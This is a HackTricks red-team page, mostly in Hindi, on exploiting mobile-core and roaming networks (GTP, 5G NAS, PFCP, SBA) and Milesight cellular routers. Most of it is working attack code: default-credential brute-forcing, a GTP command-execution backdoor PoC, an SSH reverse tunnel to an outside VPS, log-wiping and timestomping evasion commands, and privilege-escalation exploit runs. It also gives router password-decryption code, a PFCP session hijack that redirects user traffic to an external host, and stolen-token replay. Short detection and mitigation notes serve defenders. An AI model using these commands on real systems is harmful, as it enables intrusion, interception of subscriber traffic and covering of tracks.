टेलीकॉम नेटवर्क एक्सप्लॉइटेशन (GTP / Roaming Environments)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Note

मोबाइल‑कोर प्रोटोकॉल (GPRS Tunnelling Protocol – GTP) अक्सर semi-trusted GRX/IPX रूमिंग बैकबोन्स से होकर गुजरते हैं। क्योंकि ये plain UDP पर चलते हैं और लगभग कोई प्रमाणीकरण नहीं होता, टेलीकॉम परिमिटर के अंदर कोई भी foothold आमतौर पर सीधे core signalling planes तक पहुँच सकता है। नीचे दिए गए नोट्स वाइल्ड में देखी गई offensive tricks को SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ संकलित करते हैं।

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … A dedicated wordlist dramatically increases brute-force success:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

यदि डिवाइस केवल management VRF एक्सपोज़ करता है, तो पहले jump host के माध्यम से pivot करें (नीचे सेक्शन «SGSN Emu Tunnel» देखें)।

1.2 GRX/IPX के अंदर होस्ट खोज

अधिकांश GRX ऑपरेटर्स अभी भी बैकबोन पर ICMP echo की अनुमति देते हैं। त्वरित रूप से GTP-C listeners को मैप करने के लिए masscan को बिल्ट-इन gtpv1 UDP probes के साथ मिलाएँ:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. सब्सक्राइबरों की सूची बनाना – cordscan

नीचे दिया गया Go टूल GTP-C Create PDP Context Request पैकेट बनाता है और प्रतिक्रियाओं का लॉग रिकॉर्ड करता है। प्रत्येक प्रतिक्रिया यह प्रकट करती है कि वर्तमान SGSN / MME कौन सा पूछे गए IMSI को सेवा दे रहा है और, कभी-कभी, सब्सक्राइबर द्वारा विजिट किया गया PLMN भी।

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

मुख्य फ्लैग:

  • --imsi लक्षित सब्सक्राइबर IMSI
  • --oper होम / HNI (MCC+MNC)
  • -w कच्चे पैकेट pcap में लिखें

बाइनरी के अंदर महत्वपूर्ण constants को पैच करके स्कैन को विस्तारित किया जा सकता है:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor एक छोटा ELF service है जो UDP 2123 पर bind करता है और आने वाले हर GTP-C packet को parse करता है। जब payload किसी pre-shared tag से शुरू होता है, तो शेष भाग को decrypt किया जाता है (AES-128-CBC) और /bin/sh -c के माध्यम से execute किया जाता है। stdout/stderr Echo Response messages के भीतर exfiltrate किए जाते हैं ताकि कोई outward session कभी बनाया न जाए।

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

डिटेक्शन:

  • कोई भी होस्ट जो SGSN IPs को unbalanced Echo Requests भेज रहा हो
  • GTP version flag 1 पर सेट है जबकि message type = 1 (Echo) – spec से विचलन

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN एक SGSN emulator के साथ आता है जो establish a PDP context towards a real GGSN/PGW करने में सक्षम है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया tun0 interface मिलता है जो roaming peer से पहुंच योग्य होता है।

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

उचित firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास करके आपको सीधे data plane में पहुँचा देता है।

4.2 SSH Reverse Tunnel over Port 53

DNS roaming infrastructures में लगभग हमेशा open रहता है। अपने internal SSH service को अपने VPS पर :53 पर सुनने के लिए expose करें और बाद में घर से वापस जुड़ें:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Check that GatewayPorts yes is enabled on the VPS.

5. गुप्त चैनल

चैनलट्रांसपोर्टडिकोडिंगनोट्स
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)शुद्ध पैसिव लिसनर, कोई आउटबाउंड ट्रैफ़िक नहीं
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octets*.nodep sub-domain की निगरानी करता है
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEवैध GTP-C chatter के साथ घुल-मिल जाता है

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation पर Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

साफ-सफाई सुझाव:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. टूल बॉक्स

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – कस्टम टूलिंग जो पिछले सेक्शनों में वर्णित है।
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS रजिस्ट्रेशन हमले: SUCI leaks, EEA0/EIA0 पर डाउनग्रेड, और NAS replay

5G रजिस्ट्रेशन प्रॉसीजर NAS (Non-Access Stratum) पर NGAP के ऊपर चलता है। जब तक NAS security Security Mode Command/Complete द्वारा सक्रिय नहीं होती, प्रारंभिक संदेश unauthenticated और unencrypted होते हैं। यह pre-security विंडो कई attack paths को सक्षम करती है जब आप N2 ट्रैफिक को observe या tamper कर सकते हैं (उदा., कोर के अंदर on-path, rogue gNB, या testbed)।

रजिस्ट्रेशन फ्लो (सरल किया गया):

  • Registration Request: UE SUCI (encrypted SUPI) और capabilities भेजता है।
  • Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* लौटाता है।
  • Security Mode Command/Complete: NAS की integrity और ciphering पर बातचीत करके सक्रिय किया जाता है।
  • PDU Session Establishment: IP/QoS सेटअप।

Lab setup tips (non-RF):

  • Core: Open5GS का डिफ़ॉल्ट तैनाती प्रवाहों को पुनरुत्पादन करने के लिए पर्याप्त है।
  • UE: simulator या test UE; Wireshark का उपयोग करके decode करें।
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

अपेक्षित: UE/USIM को SUCI (home-network public key से encrypted SUPI) भेजना चाहिए। Registration Request में किसी plaintext SUPI/IMSI का मिलना एक गोपनीयता दोष दर्शाता है जो persistent subscriber tracking को सक्षम करता है।

कैसे टेस्ट करें:

  • InitialUEMessage में पहला NAS संदेश capture करें और Mobile Identity IE की जाँच करें।
  • Wireshark त्वरित जाँच:
  • यह SUCI के रूप में decode होना चाहिए, IMSI के रूप में नहीं।
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates a privacy breach.

क्या इकट्ठा करें:

  • MCC/MNC/MSIN अगर expose हुए हों; प्रति-UE लॉग करें और समय/स्थान के साथ ट्रैक करें।

निवारण:

  • SUCI-only UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर alert करें।

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

पृष्ठभूमि:

  • UE अपने UE Security Capability IE में Registration Request में समर्थित EEA (encryption) और EIA (integrity) विज्ञापित करता है।
  • Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं।

समस्या:

  • क्योंकि Registration Request integrity protected नहीं है, एक on-path attacker capability bits को clear कर सकता है ताकि बाद में Security Mode Command के दौरान EEA0/EIA0 का चयन कराया जा सके। कुछ stacks गलत तरीके से emergency services के बाहर null algorithms की अनुमति देते हैं।

ऑफेंसिव कदम:

  • InitialUEMessage intercept करें और NAS UE Security Capability को बदलकर केवल EEA0/EIA0 ही advertise करें।
  • Sni5Gect के साथ NAS संदेश पर hook करके capability bits patch करें और फिर आगे भेजें।
  • देखें कि AMF null ciphers/integrity को स्वीकार करता है या नहीं और Security Mode को EEA0/EIA0 के साथ पूरा करता है।

सत्यापन/दृश्यता:

  • Wireshark में, Security Mode Command/Complete के बाद चुने गए algorithms की पुष्टि करें।
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

रोकथाम (अनिवार्य):

  • AMF/policy को EEA0/EIA0 को अस्वीकार करने के लिए कॉन्फ़िगर करें, सिवाय जहाँ सख्ती से अनिवार्य हो (उदा., आपातकालीन कॉल)।
  • कम से कम EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS security context पर जो null algorithms negotiate करता है, उस पर log और alarm करें।

9.3 Replay of initial Registration Request (pre-security NAS)

चूंकि initial NAS में अखंडता और नवीनता नहीं होती, कैप्चर की गई InitialUEMessage+Registration Request को AMF पर replay किया जा सकता है।

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

क्या देखना है:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

निवारण:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 टूलिंग संकेत (पुनरुत्पाद्य)

  • Open5GS: एक AMF/SMF/UPF चलाकर core का अनुकरण करें; N2 (NGAP) और NAS का निरीक्षण करें.
  • Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration को अलग करने के लिए ऊपर दिए गए फिल्टर लागू करें.
  • 5GReplay: एक registration capture करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें.
  • Sni5Gect: लाइव NAS control-plane को sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में perturb करें.

9.5 रक्षात्मक चेकलिस्ट

  • लगातार Registration Request में plaintext SUPI/IMSI की जांच करें; उल्लंघन करने वाले डिवाइस/USIMs को ब्लॉक करें.
  • EEA0/EIA0 को केवल संकुचित परिभाषित आपातकालीन प्रक्रियाओं के अलावा अस्वीकार करें; कम से कम EEA2/EIA2 आवश्यक करें.
  • अनधिकृत या गलत कॉन्फ़िगर की गई इंफ्रास्ट्रक्चर का पता लगाएँ: unauthorized gNB/AMF, unexpected N2 peers.
  • ऐसे NAS security modes पर अलर्ट करें जो null algorithms का परिणाम हों या InitialUEMessage के बार-बार replay हों.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

औद्योगिक सेलुलर राउटर के exposed web APIs का दुरुपयोग बड़े पैमाने पर stealthy, carrier-origin smishing की अनुमति देता है। Milesight UR-series routers एक JSON-RPC–style endpoint पर एक्सपोज़ करते हैं: /cgi. गलत कॉन्फ़िगरेशन में, API को authentication के बिना query किया जा सकता है ताकि SMS inbox/outbox की सूची निकाली जा सके और कुछ deployments में SMS भेजने के लिए भी।

आम तौर पर बिना authentication वाले requests (inbox/outbox के लिए समान संरचना):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

प्रतिक्रियाओं में timestamp, content, phone_number (E.164), और status (success or failed) जैसे फ़ील्ड शामिल होते हैं। एक ही नंबर पर बार-बार failed भेजना अक्सर attacker के “capability checks” होते हैं — यह सत्यापित करने के लिए कि router/SIM blasting से पहले डिलीवर कर सकता है।

SMS metadata को exfiltrate करने के लिए curl का उदाहरण:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notes on auth artifacts:

  • कुछ ट्रैफ़िक में auth cookie शामिल हो सकती है, लेकिन बड़ी संख्या में exposed devices तब बिना किसी authentication के query_inbox/query_outbox का जवाब देती हैं जब management interface Internet-facing हो।
  • जिन वातावरणों में auth आवश्यक है, वहाँ previously-leaked credentials (नीचे देखें) access बहाल कर देती हैं।

Credential recovery path – CVE-2023-43261:

  • प्रभावित फैमिलियाँ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • समस्या: वेब-से सर्व की गई लॉग्स (उदा., httpd.log) /lang/log/ के अंतर्गत बिना प्रमाणीकरण के पहुँच योग्य हैं और इनमें admin login events होते हैं जिनका password client-side JavaScript में मौजूद hardcoded AES key/IV का उपयोग करके encrypt किया गया होता है।
  • व्यावहारिक पहुँच और डिक्रिप्ट:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

leaked passwords को डिक्रिप्ट करने के लिए न्यूनतम Python (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

हंटिंग और डिटेक्शन विचार (नेटवर्क):

  • अनप्रमाणित POST /cgi पर अलर्ट करें जिनके JSON बॉडी में base/function query_inbox या query_outbox पर सेट हों।
  • एक ही स्रोत IP से कई यूनिक नंबरों पर बार-बार होने वाले POST /cgi बर्स्ट को ट्रैक करें, जिनके बाद status":"failed" एंट्रीज़ आती हैं (capability testing)।
  • Internet-exposed Milesight routers की इन्वेंटरी बनाएं; management को केवल VPN तक सीमित रखें; जब तक आवश्यक न हो SMS फीचर्स डिसेबल करें; ≥ v35.3.0.7 में अपग्रेड करें; credentials रोटेट करें और अज्ञात भेजों के लिए SMS लॉग्स की समीक्षा करें।

Shodan/OSINT pivots (वास्तविक दुनिया में देखे गए उदाहरण):

  • http.html:"rt_title" Milesight router panels से मेल खाता है।
  • exposed logs के लिए Google dorking: "/lang/log/system" ext:log

ऑपरेशनल प्रभाव: routers के अंदर वैध carrier SIMs का उपयोग phishing के लिए SMS की deliverability/credibility को बहुत बढ़ा देता है, जबकि inbox/outbox exposure sensitive metadata को बड़े पैमाने पर leak करता है।


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

यदि आप N4 पर PFCP बोल सकते हैं (उदा., mis-filtered GRX/IPX segment से), तो एक Session Modification Request तैयार करें जो एक duplicate PDR ID डालता है पर छोटी Precedence और एक FAR जो आपके होस्ट की ओर पॉइंट करता है। कुछ UPFs (उदा., OAI-cn5g) पहले matching PDR को लागू करते हैं और uniqueness के लिए कभी जाँच नहीं करते, इसलिए malicious PDR उस PDU session के बाद के सभी पैकेट्स को आपके sink पर hijack कर देता है।

Minimal Scapy PoC (मानकर चलता है कि PFCP contrib उपलब्ध है और आप SEID/PDR IDs जानते हैं):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 TEIDs को spoofing करके user ट्रैफिक इंजेक्ट करना
यदि backbone से आने वाला uplink GTP-U ACL’d नहीं है, तो आप GTP-U headers में देखे गए **TEIDs** को replay/guess करके UE’s peer या Internet की तरफ arbitrary IP/TCP encapsulate कर सकते हैं। Example craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Pair this with passive sniffing on N3/N6 to learn active TEIDs; many PGW/UPF stacks accept any uplink source once TEID matches.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) 3GPP OpenAPI specs से स्वचालित रूप से grammars व्युत्पन्न करके HTTP-based SBIs को fuzz करता है। free5GC के खिलाफ इसने 8 bugs खोजे, जिनमें Cross-Service Token दुरुपयोग शामिल है: एक compromised NF Service A के लिए एक access token हासिल कर लेता है और target NF में audience/issuer checks मौजूद न होने के कारण इसे Service B पर reuse कर देता है।

Quick replay idea (मान लें कि आपने किसी भी NF से एक NRF-issued token चुरा लिया है):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

FivGeeFuzz grammars के साथ स्वचालित रूप से fuzz करने के लिए:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Watch for 401/403 bypasses and crashes in SMF/AMF pods; patched free5GC builds reject mismatched aud/iss.


पहचान के संकेत

  1. SGSN/GGSN के अलावा कोई भी उपकरण जो Create PDP Context Requests स्थापित कर रहा हो।
  2. आंतरिक IPs से Non-standard ports (53, 80, 443) पर SSH handshakes प्राप्त होना।
  3. संबंधित Echo Responses के बिना बार-बार Echo Requests – यह GTPDoor beacons का संकेत हो सकता है।
  4. बड़े, non-zero identifier/sequence फील्ड्स वाले ICMP echo-reply ट्रैफिक की उच्च दर।
  5. 5G: InitialUEMessage जिसमें NAS Registration Requests identical endpoints से दोहराए जा रहे हों (replay signal)।
  6. 5G: NAS Security Mode का emergency संदर्भों के बाहर EEA0/EIA0 का negotiation करना।
  7. PFCP: Session Modification जिसमें duplicate PDR IDs हों या अचानक FAR redirection off-net IPs की ओर।
  8. SBA: NRF ऐसे tokens जारी करता है जिनका aud called NF से मेल नहीं खाता – यह Cross-Service Token replay का संकेत है।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें